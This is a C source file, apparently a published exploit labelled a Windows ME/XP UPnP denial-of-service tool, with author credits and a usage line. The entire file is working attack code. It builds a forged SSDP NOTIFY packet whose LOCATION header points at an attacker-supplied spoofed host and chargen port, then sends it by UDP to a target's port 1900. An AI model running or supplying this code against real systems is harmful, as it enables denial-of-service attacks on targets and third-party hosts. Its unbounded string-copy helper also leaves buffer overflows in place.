/* 
 * WinME/XP UPNP D0S  
 *
 * ./upnp_udp <remote_hostname> <spooffed_host> <chargen_port>
 *
 * Authors:     Gabriel Maggiotti, Fernando Oubina
 * Email:       gmaggiot@ciudad.com.ar, foubina@qb0x.net
 * Webpage:     http://qb0x.net
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX  1000
#define PORT  1900


char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[MAX]="";
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

/***************************************************************************/

int main(int argc,char *argv[])
{
  int sockfd,i;
  int numbytes;
  int num_socks;
  int addr_len;
  char recive_buffer[MAX]="";

  char send_buffer[MAX]=
  "NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n"
  "CACHE-CONTROL: max-age=1\r\nLOCATION: http://www.host.com:port/\r\n"
  "NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n"
  "NTS: ssdp:alive\r\nSERVER: QB0X/201 UPnP/1.0 prouct/1.1\r\n"
  "USN: uuid:QB0X\r\n\r\n\r\n";

  char *aux=send_buffer;
  struct hostent *he;
  struct sockaddr_in their_addr;

  if(argc!=4)
  {
    fprintf(stderr,"usage:%s <remote_hostname> "\
      "<spooffed_host> <chargen_port>\n",argv[0]);
    exit(1);
  }


  aux=str_replace(argv[2],"www.host.com",send_buffer);
  aux=str_replace(argv[3],"port",send_buffer);

  if((he=gethostbyname(argv[1]))==NULL)
  {
    perror("gethostbyname");
    exit(1);
  }


  if( (sockfd=socket(AF_INET,SOCK_DGRAM,0)) == -1) {
    perror("socket"); exit(1);
  }

  their_addr.sin_family=AF_INET;
  their_addr.sin_port=htons(PORT);
  their_addr.sin_addr=*((struct in_addr*)he->h_addr);
  bzero(&(their_addr.sin_zero),8);

  if( (numbytes=sendto(sockfd,send_buffer,strlen(send_buffer),0,\
  (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) ==-1)
  {
    perror("send");
    exit(0);
  }
  close(sockfd);

return 0;
}